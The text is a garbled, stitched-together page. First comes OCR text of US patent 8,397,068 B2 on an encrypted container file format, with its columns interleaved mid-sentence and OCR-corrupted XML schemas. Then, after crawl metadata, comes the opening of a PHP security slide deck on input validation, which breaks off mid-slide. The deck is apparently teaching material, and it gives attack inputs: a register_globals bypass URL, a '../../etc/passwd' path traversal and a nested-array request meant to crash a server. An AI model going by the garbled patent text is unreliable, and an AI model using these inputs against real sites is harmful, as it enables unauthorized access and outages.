storage of information such as 40 computer-readable instructions, data structures, program modules, or other data. Computer storage media includes, but is not limited to, RAM, ROM, EEPROM, flash memory or other memory technology, CD-ROM, digital versatile disks (DVD) or other optical storage, magnetic cassettes, magnetic 45 tape, magnetic disk storage or othermagnetic storage devices, or any other medium which can be used to store the desired information and may be accessed by an instruction execution system. Note that the computer-usable or computer-readable medium can be paper or other suitable medium upon which 50 the program is printed, as the program can be electronically captured via, for instance, optical scanning of the paper or other suitable medium, then compiled, interpreted, of other- wise processed in a suitable manner, if necessary, and then In one embodiments, the unencrypted portion may contain information that can be used to communicate with a security server to gain access to the encrypted portion, which may containone or more embedded files. The unencrypted portion may contain a publication license that may include a license 55 identifier as well as information to communicate with a secu- stored in a computer memory. Communicationmedia typically embodies computer-read- able instructions, data structures, program modules or other data in a modulated data signal such as a carrier wave or other transport mechanism and includes any information delivery media. The term "modulated data signal" can be defined as a rity server. A receiver, which may be a user or computer, may use the publication license to communicate with a security server. The security servermay determine whether ornot the receiver may have access to the encrypted contents, and may return one or more keys to the receiver so that the receiver may unencrypt the encrypted portion and gain access to the file contents. The encrypted portion may include a contents directory that may contain pointers to one or more embedded files within the container. In some cases, the contents may be 60 signal that has one ormore ofits characteristics set orchanged in such a marmer as to encode information in the signal. By way of example, and not limitation, communication media includes wired media such as a wired network or direct-wired connection, and wireless media such as acoustic, RF, infrared 65 and other wireless media. Combinations ofany ofthe above- mentioned should also be included within the scope ofcom- puter-readable media. 8. 8. US 8,397,068 B2 3 When the subject matter is embodied in the general context of computer-executable instructions, the embodiment may comprise program modules, executed by one or more sys- tems, computers, or other devices. Generally, program mod- ules include routines, programs, objects, components, data structures, and the like, that perform particulartasks or imple- ment particular abstract data types. Typically, the functional- ity ofthe program modules may be combined or distributed as desired in various embodiments. 4 cation 120 to identify the container file 122, as well as gain access to the encrypted portion 126. The encrypted portion 126 may contain the payload ofthe container, which may be one or more files. The unencrypted portion 124 may include a layout defini- tion 128 that may include pointers to the metadata 130 and a publication license 132. The metadata 130 may include vari- ous metadata about the container file 122, such as the origi- nator, date of creation, and other metadata. FIG. 1 is a diagram of an embodiment 100, showing a 10 system that may use a container file. Embodiment 100 is a simplified example of a network environment in which a container file may be accessed by an application and the contents used by the application. The publication license 132 may include an access policy 134, which may define who may access the contents, what may be done with the contents, and any further restrictions on the contents. The publication license 132 may include a pub- lic encryption key or other identifier or credentials that may be presented to a security server prior to accessing the encrypted portion 126. The diagram ofFIG. 1 illustrates functional components of 15 a system. In some cases, the component may be a hardware component, a software component, or a combination ofhard- ware and software. Some ofthe components may be applica- tion level software, while other components may be operating system level components. In some cases, the connection of 20 one component to another may be a close connection where two or more components are operating on a single hardware platform. In other cases, the connections may be made over network connections sparming long distances. Each embodi- ment may use different hardware, software, and interconnec- 25 tion architectures to achieve the described functions. In some embodiments, multiple publication licenses may be used. For example, a first publication license may give read-only access to certain users while another publication license may give full access to other users. The encrypted portion 126 may include a content directory 136 and one or more files or othercontainers for data. In some embodiments, the files may be arranged in a hierarchical structure, such as may be commonly used in a file directory system. A detailed explanation ofthe container file may be found in the discussion of embodiment 200 presented later in this specification. Embodiment 100 is an example use model for a container file. The container file may contain access policies that may define how the contents ofthe container file may be used. An application that may access the file may include a policy enforcement mechanism that may ensure that access occurs in accordance with the policy. The container file may be a mechanism by which files may be packaged and transported across open communication mechanisms to other devices, while ensuring limited access to the files. The files in the container may be compressed and encrypted so that access cannot be gained ifthe container file were to fall into nefarious hands, or when access to certain documents may be controlled. Further, the access may be granted to the container file when proper credentials may be presented to a security server that may verifY the credentials and respond with a key orothermechanism to decrypt the file. The device 102 may represent a conventional computing device on which an application may execute. The device 102 may have hardware components 104 and software compo- nents 106 that may represent a conventional desktop or server computer. The device 102 may be any type of computing device, such as a desktop or server computer, game console, network appliance, or other similar device. In some embodi- ments, the device 102 may be a portable device, such as a laptop or netbook computer, personal digital assistant, mobile telephone, or other device. While not illustrated in embodi- ment 100, some embodiments may be deployed using cloud computing technologies that may or may not have a notion of a hardware platform on which an application may execute. The hardware components 104 may include a processor 108, which may access random access memory 110 and non- volatile memory 112. The hardware components 106 may include a network interface 114 and a user interface 116. The software components 106 may include an operating system 118 on which an application 120 may execute. The application 120 may be capable ofaccessing a container file 122 that may be used to transport and control access to files and other content. The container file 122 may contain an unencrypted portion 124 and an encrypted portion 126. The unencrypted portion 124 may contain information that may be used by the appli- The application 120 may include a policy enforcer 140 that 30 may ensure that any policy restrictions or limitations defined in the access policy 134 are enforced. The application 120 may present credentials to a security server 144 to receive decryption keys or other information that may be used by a decryption mechanism 142 to gain access to the encrypted 35 portion 126 ofthe container file 122. The application 120 may examine the publication license 132 to determine who may access the containerfile. When the access policy 134 defines specific users orgroups ofusers that may access the container file, the application 120 may present 40 user credentials to a security server 144. When the access policy 134 defines specific devices, groups of devices, or types of devices, the application 120 may present device credentials to a security server 144. In many embodiments, the application 120 may present 45 application credentials to the security server 144. The appli- cation credentials may identifY the application 120 as being authentic as well as defining the types of access limitations that the application 120 may be capable of enforcing. The application credentials may be defined when an application 50 may be created or installed, and may certifY to the security server 144 that the application 120 may have the capabilities to enforce an access policy. The device 102 may be connectedto a network 152 through which a security server 144 may be accessed. The network 55 152 may be a local area network, a wide area network such as the Internet, ora combination oflocal area networks andwide area networks. The security server 144 may receive a request to open the container file 122 from the application 120. The request may 60 include a license identifier found in the publication license 132, as well as credentials for a user, device, application, or other credentials as defined in the publication license 132. The security server 144 may examine the request, compare the request against a local version of an access policy 146 65 defined for the container 122, and may verifY the credentials against an authentication server 150. Based on the credentials and the other information in the request, the security server 9. 9. US 8,397,068 B2 5 144 may return a decryption key using an encryption mecha- nism 148 that may allow the application 120 to gain access to the encrypted portion 126 of the container file 122. In many embodiments, the application 120 may be capable of creating a container file 122 that may be used by other devices 154. An example ofa process for creating a container file may be found in embodiment 300. FIG. 2 is a diagram of an embodiment 200, showing a diagram of a simplified example of a container file. Embodiment 200 illustrates the components that make up one embodiment ofa container file. Other embodiments may be configured differently and may have more or fewer com- ponents. 6 The publication license 210 may include an access policy that may define who may access the contents, what type of access may be permittedfor the contents, and any restrictions. The publication license 210 may include a license identi- fier that may be defined by a system that creates the container file 202 or by a security server. The license identifier may be a Globally Unique Identifier (GUID), public encryption key, or other identifier that may be used by a security server to positively identifY the container file 202 when a request to 10 access the container file is made. The container file 202 may contain an unencrypted portion 204 and an encrypted portion 206. The unencrypted portion 15 204 may contain a layout 208, a publication license 210, and metadata 212. In some embodiments, two or more containers having the same publication license may have the same license identifi- ers. In other embodiments, every container may have a dif- ferent license identifier. The metadata 212 may contain various properties describ- ing the container file 202. Since the metadata 212 are unen- crypted, applications may be able to access the metadata 212 without having the credentials to access the payload or pro- tected items within the container file. Such metadata may be The layout 208 may contain the locations ofthe publication license 210, the contents directory 214, and metadata 212. In some embodiments, the layout 208 may be described using XML. An example layout section may include the following XML: <Layout> <License Uri~"/A001"/> <Metadata Uri~"/A003"/> <Contents Uri~"/A002"/> </Layout> The example layout may contain the publication license at a Uniform Resource Identifier (URI) of"AOOl", metadata at "A003", and contents at "A002". A schema for the layout may be defined using the following XML schema: <?xml version~"1.0" encoding~"UTF-8"?> <xsd:schema xmlns:xsd~"http://www.w3.org/2001/XMLSchema"> <xsd:element narne="Layout"> <xsd:complexType> <xsd:sequence> <xsd:element narne="License" minOccurs="l" maxOccurs="l"> <xsd:simpleType> <xsd:extension base="xsd:string"> <xsd:attribute name~"Uri" type~"xsd:anyURI" use="required"/> </xsd:extension> </xsd:simpleType> </xsd:element> <xsd:element narne="Metadata" minOccurs="l" maxOccurs="l"> <xsd:simpleType> <xsd:extension base="xsd:string"> <xsd:attribute name~"Uri" type~"xsd:anyURI" use="required"/> </xsd:extension> </xsd:simpleType> </xsd:element> <xsd:element narne="Content" minOccurs="l" maxOccurs="l"> <xsd:simpleType> <xsd:extension base="xsd:string"> </xsd:attribute name~"Uri" type~"xsd:anyURI" use="required"/> </xsd:extension> </xsd:simpleType> </xsd:element> </xsd:sequence> </xsd:complexType> </xsd:element> </xsd:schema> 20 used by a file browser, for example, to identify and display various container files. The contents directory 214 may include pointers to any of the protected items 216 within the container file. Once the contents 214 are decrypted, an application may use the con- 25 tents directory 214 to navigate to a file or other data item 220 to inspect or retrieve the item. The data item may be any stream of data, including a file. Within the contents directory 214 may be entries for the various protected items. A data item 220 may be arranged in 30 a container 218 and defined as a protected item 216. The containers 218 may be nested containers that may represent a hierarchical or grouped set of containers, which may be named and defined in the contents directory 214. The following is an example contents directory in XML: 35 <Contents> <Container Narne="phoenix"> <Data Name~"foo.pdf' Size~"709456" Uri~"/A001"/> 40 <Container Narne="resources"> 45 <Data Name~"picl.jpeg" Size~"32460" Uri~"/A002"/> <Data Name~"pic2.bmp" Size~"16511" Uri~"/A003"/> </Container> </Container> <Data Name~"readname.txt" Size~"23086" Uri~"/A004"/> </Contents> In the example, the contents directory may contain a con- tainer named "phoenix" in which a file "foo.pdf' is stored, along with a sub-container named "resources" in which files 50 "picl.jpeg" and "pic2.bmp" are stored. The file "readme.txt" may be placed at the highest level ofthe hierarchical organi- zation and may not be a member ofany container. Each ofthe files may have an associated URI which may refer to a loca- tion within the container file for that specific file. 55 A schema for the example contents directory may be: <?xml version~"1.0" encoding~"UTF-8"?> 60 <xsd:schema xmlns:xsd~"http://www.w3.org/2001/XMLSchema"> <xsd:attribute name~"Name" type~"xsd:string"/> 65 <xsd:attribute name~"Size" type~"xsd:integer"/> <xsd:attribute name~"Uri" type~"xsd:anyURI"/> <xsd:element narne="Contents"> <xsd:complex Type> <xsd:all> <xsd:element ref="Container" minOccurs="O"/> <xsd:element ref="Data" minOccurs="O"/> 10. 10. US 8,397,068 B2 7 -continued </xsd:all> </xsd:complexType> </xsd:element> <xsd:element narne="Container"> <xsd:complexType> <xsd:sequence> <xsd:element ref="Data" minOccurs="O" maxOccurs=''nnbounded''/> <xsd:element ref="Container" minOccurs="O" maxOccurs=''nnbounded''/> </xsd:sequence> <xsd:attribute ref~"Name"/> </xsd:complexType> </xsd:element> 10 8 The files may be organized in block 308. In some cases, the files may be grouped into directories or other types of con- tainers, and those containers may be arranged in a hierarchi- cal fashion. The files may be compressed in block 310. The compres- sion scheme used to compress the files may be any type of compression mechanism. Compression may assist in reduc- ing the size ofthe files and the overall container file. In some embodiments, no compression may be performed. A content directory may be created in block 312. The content directory may include links or addresses for each of the files in the container file. The content directory and the files may be encrypted in block 314. In many embodiments, a single encryption mecha-<xsd:element narne="Data"> <xsd:complexType> <xsd:simpleContent> <xsd:extension base='"xsd:string"> <xsd:attribute ref~"Name"/> <xsd:attribute ref~"Size"/> <xsd:attribute ref~"Uri"/> </xsd:extension> </xsd:simpleContent> </xsd:complexType~""> </xsd:element> </xsd:schema> 15 nism may be used to encrypt the entire encrypted portion ofa container file. In some embodiments, the content directory and the files may be encrypted in two passes. In the first pass, the files may be encrypted and the content directory may be encrypted in a second pass. The content directory may be 20 updated or changed to reflect the encrypted locations of the files after the first pass in some such embodiments. FIG. 3 is a flowchart illustration of an embodiment 300 25 In some embodiments, certain files within the containerfile may be encrypted using a secondencryptionmechanism. One such embodiment may be to include a first container file as a file within another container file. In such an embodiment, two sets of credentials and two encryption mechanisms may be used to access the files. A publication license for the encrypted files may be created in block 316. In many embodiments, a publication license showing a method for creating a container file. Embodiment 300 is an example embodiment that may be performed by an application that creates a container file. In some embodi- ments, a security server may perform the method ofembodi- ment 300, while in other embodiments, various applications on a client device may perform the method of embodiment 300. 30 may include the policy descriptions described above, as well as a license identifier. In some embodiments, the publication license may be created before performing the encryption of block 314. Other embodiments may use different sequencing, addi- tiona! or fewer steps, and different nomenclature orterminol- 35 ogy to accomplish similar functions. In some embodiments, various operations or set of operations may be performed in parallel with other operations, either in a synchronous or asynchronous manner. The steps selectedhere were chosen to illustrate some principles of operations in a simplified form. 40 In block 302, files may be received. The files may be the payload of a container file and may represent sensitive or protected content to which a user may wish to control access. The access policy for the files may be defined in block 304. The access policy may define who may access the files. In 45 some embodiments, specific users or groups ofusers may be identified. In some embodiments, specific devices or groups A container file may be created in block 318 with the encrypted files. Metadata may be added to the container in block 320 and the publication license may be added to the container in block 322. The layout of the container may be updated in block 324 to reference the metadata, publication license, and contents directory. The container file may be stored in block 326. FIG. 4 is a flowchart illustration of an embodiment 400 showing a method for opening and using a container file. Embodiment 400 is an example embodiment that may be performed by an application that consumes a container file. Other embodiments may use different sequencing, addi- tiona! or fewer steps, and different nomenclature or terminol- ogy to accomplish similar functions. In some embodiments, various operations or set of operations may be performed in parallel with other operations, either in a synchronous or of devices may be specified. Some embodiments may also specific which applications may or may not be allowed access to the container. 50 asynchronous manner. The steps selected here were chosen to illustrate some principles of operations in a simplified form.The access policy may also define what capabilities a user, device, or application may have. For example, certain users may have read-only access, while other users may have full control ofthe files. In some cases, the capabilities may define how many copies, if any, a user may make of the files and 55 whether or not the user may transmit the files to other users. Restrictions may also be placed in the access policy. A restriction may define any set ofconditions that may limit or change the access. For example, an access policy may restrict access to a specific file to a specific time period, after which 60 the file may not be accessed. An authentication mechanism may be identified in block 306. The authentication mechanism may be a server or ser- vice that may verify credentials. In some cases, credentials may be supplied to a third party that may issue a token that 65 verifies the credentials are valid. In some embodiments, two or more authentication mechanisms may be used. Embodiment 400 illustrates one method that may be used to access a container file. Embodiment 400 begins by analyz- ing the unencrypted portions of the container file, then pre- pares credentials to be verified by a security server. When successfully authenticated, the security server may return keys or other components for decrypting the contents. A container file may be received in block 402. The layout may be obtained by examining a predefined location within the container in block 404. In many embodi- ments, the layout information may be stored in a specific location within the container file. The location may be the same for all container files so that any application that may access the file may find the layout information. The layout may be examined in block 406 to determine locations for metadata and a publication license. The meta- data may be read inblock 408 to determine ifthe containerfile 11. 11. US 8,397,068 B2 9 is the desired container file. If the container file is not the correct file to open in block410, the process may stop inblock 412. After examining the metadata in block 408 and determin- ing that the container file is the correct file to open in block 410, the publication license may be read in block 414. 10 a first encrypted data item encrypted using a second encryption mechanism, the second encryption mechanism being different from the first encryp- tion mechanism; and a contents directory comprising a second pointer to said first encrypted data item. 2. The storage medium ofclaim 1, said first encrypted data item being a first encrypted file. The publication license may include a policy definitionthat may define whether or not a user, device, or application may have access to the contents. If the policy disallows access in the current situation in block 416, the process may stop in block 418. When the policy may allow access in block 416, the cre- dentials for access may be identified in block 420. A Uniform Resource Identifier (URI) for a security server may be iden- tified in block 422. The URI may be found in the publication license. 3. The storage medium of claim 2, said encrypted portion 10 comprising a plurality ofencrypted files, said contents direc- tory further comprising at least one pointer to each of said plurality of encrypted files. 4. The storage medium ofclaim 2, said publication license 15 further comprising an access policy. 5. The storage medium ofclaim 4, said access policy com- prising a condition for accessing said encrypted portion. The credentials may be transmitted to the security server in block424 using the URI from block 422 and the credentials in block 420. 6. The storage medium ofclaim 5, said condition compris- ing a first user identifier for the first user who is allowed a first 20 type of access. 7. The storage medium ofclaim 6, said condition compris- ing a second user identifier for the second user who is allowed a second type ofaccess. Providing that the credentials are proper, the security server may return keys for decryption in block 426. The keys may be any item that may be used to perform decryption, which may be performed in block 428. Once the encrypted portion is decrypted in block 428, the content directory may be examined in block 430 to identify the various files that may be contained in the container file. Those files may be used according to the access policy in block 432. 8. The storage medium of claim 1, said encrypted portion 25 being encrypted using a first encryption key, said first encryp- In some embodiments, the decryption operation may be 30 performed in two steps. In the first step, the content directory may be decrypted to identifY which parts ofthe container may be encrypted files. From the content directory, some or all of the encrypted files may be identified to be decrypted in a 35 second step. The foregoing description of the subject matter has been presented for purposes ofillustration and description. It is not intended to be exhaustive or to limit the subject matter to the precise form disclosed, and other modifications and varia- 40 tions may be possible in light of the above teachings. The embodiment was chosen and described in order to best explain the principles ofthe invention and its practical appli- cation to thereby enable others skilled in the art to best utilize the invention in various embodiments and various modifica- 45 tions as are suited to the particular use contemplated. It is intended that the appended claims be construed to include other alternative embodiments except insofar as limited by the prior art. What is claimed is: 1. A storage medium, the storage medium being hardware, storing computer-readable instructions that, when executed, perform actions comprising: 50 generating a container file comprising: 55 an unencrypted portion comprising: a publication license comprising a license identifier, the publication license indicating one or more authorized devices, the publication license indicat- ing a first user is allowed read only access and a 60 second user is allowed read write access; a layout section comprising a first pointer to said publication license, said layout section being located at a predefined location within said com- ~cr~; ~ an encrypted portion encrypted using a first encryption mechanism, the encrypted portion comprising: tion key being related to said license identifier. 9. A method comprising: reading a container file by a processor comprising: an unencrypted portion comprising: a publication license comprising a license identifier, the publication license indicating one or more authorized devices, the publication license indicat- ing a first user is allowed read only access and a second user is allowed read write access; a layout section comprising a first pointer to said publication license, said layout section being located at a predefined location within said com- puter file; an encrypted portion encrypted using a first encryption mechanism, the encrypted portion comprising: a first encrypted data item encrypted using a second encryption mechanism, the second encryption mechanism being different from the first encryp- tion mechanism; and a contents directory comprising a second pointer to said first encrypted data item; examining said container file at said predefined loca- tion within said container file to read said layout section; determining a first location within said container file for said publication license; reading said publication license to retrieve said license identifier; presenting said license identifier to a security server; receiving a first encryption key from said security server; and unencrypting said contents directory using said first encryption key. 10. The storage medium of claim 1, the license identifier being a unique license identifier. 11. The storage medium ofclaim 1, the publication license indicating a number ofcopies ofthe first encrypted data item that can be made. 12. The method ofclaim 9 further comprising: presenting user credentials to said security server prior to retrieving said first encryption key. 12. 12. US 8,397,068 B2 11 13. The method of claim 12 further comprising: presenting an application identification for a receiving application for said container file, said receiving appli- cation being capable of applying an access policy defined in said publication license. 14. The method of claim 13, said access policy defining a read only access for any user having said user credentials. 15. The method of claim 13, said access policy defining read and write access for any user having said user creden- tials. 10 16. The method ofclaim 13, said access policy defining at least one restriction on said user access. 17. The method of claim 16, said restriction being a time restriction. 18. An apparatus comprising: a processor configured to provide: a container generator configured to generate a container including: an unencrypted portion comprising: a publication license comprising an access policy and a license identifier, the publication license indicating one or more authorized devices, the publication license indicating a first user is allowed read only access and a second user is allowed read write access; 15 20 12 a metadata section; a layout section comprising a first pointer to said publication license and a second pointer to said metadata section, said layout section being located at a predefined location within said com- puter file; an encrypted portion encrypted using a first encryp- tion mechanism, the encrypted portioncomprising: a first encrypted file encrypted using a second encryption mechanism, the second encryption mechanism being different from the first encryp- tion mechanism; and a contents directory comprising a second pointer to said first encrypted data item, said layout section further comprising a third pointer to said con- tents directory. 19. The apparatus ofclaim 18, said access policy compris- ing a user identifier and a set ofaccess permissions associated with said user identifier. 20. The apparatus of claim 19, said publication license further comprising a Uniform Resource Identifier for a secu- rity server capable of receiving user credentials and said license identifier and returning a second encryption key capable of decrypting said contents directory. * * * * * ×
{ "url": "https://www.slideshare.net/Mello_Patent_Registry/131-andrey-shur-8397068-generic-file-protection-format", "source_domain": "www.slideshare.net", "snapshot_id": "crawl=CC-MAIN-2018-05", "warc_metadata": { "Content-Length": "194574", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:PRBWME3O6CPFNH6XXVOBAVNRAD5SOLAV", "WARC-Concurrent-To": "<urn:uuid:28bc4807-8f45-452a-9cd6-3be3408abb9a>", "WARC-Date": "2018-01-18T20:22:01Z", "WARC-IP-Address": "108.174.10.19", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:44QMNB4IQS5AY5A3JPNVM72YVB3X35NM", "WARC-Record-ID": "<urn:uuid:32770215-03b0-40b5-b35d-d8034951337c>", "WARC-Target-URI": "https://www.slideshare.net/Mello_Patent_Registry/131-andrey-shur-8397068-generic-file-protection-format", "WARC-Truncated": "length", "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:e7225ff5-8434-47d8-a062-94dcdf9f3fb1>" }, "warc_info": "robots: classic\r\nhostname: ip-10-93-161-62.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-05\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for January 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 38, 183, 184, 243, 244, 254, 255, 268, 269, 390, 391, 416, 444, 445, 475, 476, 535, 536, 3611, 4359, 4654, 5153, 5661, 6197, 12904, 20429, 25906, 32646, 38848, 41084, 41085 ], "line_end_idx": [ 38, 183, 184, 243, 244, 254, 255, 268, 269, 390, 391, 416, 444, 445, 475, 476, 535, 536, 3611, 4359, 4654, 5153, 5661, 6197, 12904, 20429, 25906, 32646, 38848, 41084, 41085, 41086 ] }
{ "red_pajama_v2": { "ccnet_original_length": 41086, "ccnet_original_nlines": 31, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.2995734214782715, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.04363192990422249, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.2597196698188782, "rps_doc_frac_unique_words": 0.19105562567710876, "rps_doc_mean_word_length": 5.179045677185059, "rps_doc_num_sentences": 397, "rps_doc_symbol_to_word_ratio": 0.0009750199969857931, "rps_doc_unigram_entropy": 5.715106010437012, "rps_doc_word_count": 6328, "rps_doc_frac_chars_dupe_10grams": 0.12995454668998718, "rps_doc_frac_chars_dupe_5grams": 0.2780947685241699, "rps_doc_frac_chars_dupe_6grams": 0.2081286460161209, "rps_doc_frac_chars_dupe_7grams": 0.18127727508544922, "rps_doc_frac_chars_dupe_8grams": 0.15460897982120514, "rps_doc_frac_chars_dupe_9grams": 0.1378878951072693, "rps_doc_frac_chars_top_2gram": 0.01922314055263996, "rps_doc_frac_chars_top_3gram": 0.011716959998011589, "rps_doc_frac_chars_top_4gram": 0.0039666797965765, "rps_doc_books_importance": -3440.896728515625, "rps_doc_books_importance_length_correction": -3440.896728515625, "rps_doc_openwebtext_importance": -1875.9112548828125, "rps_doc_openwebtext_importance_length_correction": -1875.9112548828125, "rps_doc_wikipedia_importance": -1420.7249755859375, "rps_doc_wikipedia_importance_length_correction": -1420.7249755859375 }, "fasttext": { "dclm": 0.026834309101104736, "english": 0.8287543058395386, "fineweb_edu_approx": 2.6816353797912598, "eai_general_math": 0.13188660144805908, "eai_open_web_math": 0.06703394651412964, "eai_web_code": 0.11813145875930786 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.82", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "004.67", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "11", "label": "Legal/Regulatory" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "4", "label": "Missing Images or Figures" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "3", "label": "Academic Writing" } }, "reasoning_depth": { "primary": { "code": "4", "label": "Advanced Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "4", "label": "Graduate/Expert Level" }, "secondary": { "code": "3", "label": "Undergraduate Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
1,762,561,724,343,046,000
(PowerPoint) Advanced PHP Security - Ilia Alshanetsky righteousgaggleData Management Jan 31, 2013 (4 years and 4 months ago) 136 views Advanced PHP Security By: Ilia Alshanetsky 2 Security What is Security? Security is a measurement, not a characteristic. It’s is also an growing problem that requires an continually evolving solution. A good measure of secure application is it’s ability to predict and prevent future security problems, before someone devises an exploit. As far as application design goes, security must be considered at all times; initial spec, implementation, testing and even maintenance. 3 Security PHP & Security PHP keeps on growing as a language, making headway into enterprise and corporate markets. Consequently PHP applications often end up working with sensitive data. Unauthorized access to this data is unacceptable. To prevent problems a secure design is needed. 4 Security Input Validation One of the key concepts you must accept is that user input is unreliable and not to be trusted. Partially lost in transmission between server & client. Corrupted by some in - between process. Modified by the user in an unexpected manner. Intentional attempt to gain unauthorized access or to crash the application. Which is why it is absolutely essential to validate any user input before use. 5 Security Accessing Input Data As of PHP 4.1, there are a series of super - globals that offer very simple access to the input data. $_GET data from get requests. $_POST post request data. $_COOKIE cookie information. $_FILES uploaded file data. $_SERVER server data $_ENV environment variables $_REQUEST combination of GET/POST/COOKIE 6 Security Register Globals Arguably the most common source of vulnerabilities in PHP applications. Any input parameters are translated to variables. ?foo=bar >> $foo = “bar”; No way to determine the input source. Prioritized sources like cookies can overwrite GET values. Un - initialized variables can be “injected” via user inputs. 7 Security Register Globals if (authenticated_user()) { $authorized = true; } if ($authorized) { include '/highly/sensitive/data.php'; } Because $authorized is left un - initialized if user authentication fails, an attacker could access privileged data by simply passing the value via GET. http://example.com/script.php?authorized=1 8 Security Solutions To Register Globals Disable register_globals in PHP.ini. Already done by default as of PHP 4.2.0 Code with error_reporting set to E_ALL . Allows you to see warnings about the use of un - initialized variables. Type sensitive validation conditions. Because input is always a string, type sensitive compare to a Boolean or an integer will always fail. if ($authorized === TRUE) { 9 Security Hidden Register Globals Problems script.php?var[]=1&var[]=2 The link above will allow the attacker to inject two values into the $var array. Worse yet PHP provides no tools to detect such injections. $var[] = “123”; foreach ($var as $entry) { make_admin($entry); } 10 Security $_REQUEST The $_REQUEST super - global merges data from different input methods, like register_globals it is vulnerable to value collisions. PHP.ini: variables_order = GPCS echo $_GET['id']; // 1 echo $_COOKIE['id']; // 2 echo $_REQUEST['id']; // 2 11 Security $_SERVER Even though the $_SERVER super - global is populated based on data supplied by the web - server it should not be trusted. User may inject data via headers Host: <script> ... Some parameters contain data based on user input REQUEST_URI, PATH_INFO, QUERY_STRING Can be fakes Spoofed IP address via the use of anonymous proxies. 12 Security Numeric Value Validation All data passed to PHP (GET/POST/COOKIE) ends up being a string. Using strings where integers are needed is not only inefficient but also dangerous. // integer validation if (!empty($_GET['id'])) { $id = (int) $_GET['id']; } else $id = 0; // floating point number validation if (!empty($_GET['price'])) { $price = (float) $_GET['price']; } else $price = 0; Casting is a simple and very efficient way to ensure variables do in fact contain numeric values. 13 Security Validating Strings PHP comes with a ctype , extension that offers a very quick mechanism for validating string content. if (!ctype_alnum($_GET['login'])) { echo "Only A - Za - z0 - 9 are allowed."; } if (!ctype_alpha($_GET['captcha'])) { echo "Only A - Za - z are allowed."; } if (!ctype_xdigit($_GET['color'])) { echo "Only hexadecimal values are allowed"; } 14 Security Path Validation Values passed to PHP applications are often used to specify what file to open. This too needs to be validated to prevent arbitrary file access. http://example.com/script.php?path=../../etc/passwd <?php $fp = fopen(“/home/dir/{$_GET[‘path’]}”, “r”); ?> 15 Security Path Validation PHP includes a basename() function that will process a path and remove everything other then the last component of the path, usually a file name. <?php $_GET[‘path’] = basename($_GET[‘path’]); // only open a file if it exists. if (file_exists(“/home/dir/{$_GET[‘path’]}”)) { $fp = fopen(“/home/dir/{$_GET[‘path’]}”, “r”); } ?> 16 Security Better Path Validation An even better solution would hide file names from the user all together and work with a white - list of acceptable values. // make white - list of templates $tmpl = array(); foreach(glob("templates/*.tmpl") as $v) { $tmpl[md5($v)] = $v; } if (isset($tmpl[$_GET['path']])) $fp = fopen($tmpl[$_GET['path']], "r"); http://example.com/script.php?path=57fb06d7... 17 Security magic_quotes_gpc PHP tries to protect you from attacks, by automatically escaping all special characters inside user input. ( ‘, “, \ , \ 0 (NULL) ) Slows down input processing. We can do better using casting for integers. Requires 2x memory for each input element. May not always be available. Could be disabled in PHP configuration. Generic solution. Other characters may require escaping. 18 Security Magic Quotes Normalization if (get_magic_quotes_gpc()) { // check magic_quotes_gpc state function strip_quotes(&$var) { if (is_array($var) array_walk($var, 'strip_quotes'); else $var = stripslashes($var); } // Handle GPC foreach (array('GET','POST','COOKIE') as $v) if (!empty(${"_".$v})) array_walk(${"_".$v}, 'strip_quotes'); // Original file names may contain escaped data as well if (!empty($_FILES)) foreach ($_FILES as $k => $v) { $_FILES[$k]['name'] = stripslashes($v['name']); } 19 Security Exploiting Code in Previous Slide While the code on the previous slide works, it can be trivially exploited, due to its usage of recursive functions! <?php $qry = str_repeat(“[]”, 1024); $url = “http://site.com/script.php?a{$qry}=1”; file_get_contents($url); // run up in memory usage, followed by a prompt crash ?> 20 Security More Reliable & Faster Solution if (get_magic_quotes_gpc()) { $in = array(&$_GET, &$_POST, &$_COOKIE); while (list($k,$v) = each($in)) { foreach ($v as $key => $val) { if (!is_array($val)) { $in[$k][$key] = stripslashes($val); continue; } $in[] =& $in[$k][$key]; } } unset($in); } 21 Security XSS Cross Site Scripting (XSS) is a situation where by attacker injects HTML code, which is then displayed on the page without further validation. Can lead to embarrassment. Session take - over. Password theft. User tracking by 3 rd parties. 22 Security Preventing XSS Prevention of XSS is as simple as filtering input data via one of the following: htmlspecialchars() Encodes ‘, “, <, >, & htmlentities() Convert anything that there is HTML entity for. strip_tags() Strips anything that resembles HTML tag. 23 Security Preventing XSS $str = strip_tags($_POST['message']); // encode any foreign & special chars $str = htmlentities($str); // maintain new lines, by converting them to <br /> echo nl2br($str); // strip tags can be told to "keep" certain tags $str = strip_tags($_POST['message'], '<b><p><i><u>'); $str = htmlentities($str); echo nl2br($str); Tag allowances in strip_tags() are dangerous, because attributes of those tags are not being validated in any way. 24 Security Tag Allowance Problems <b style="font - size: 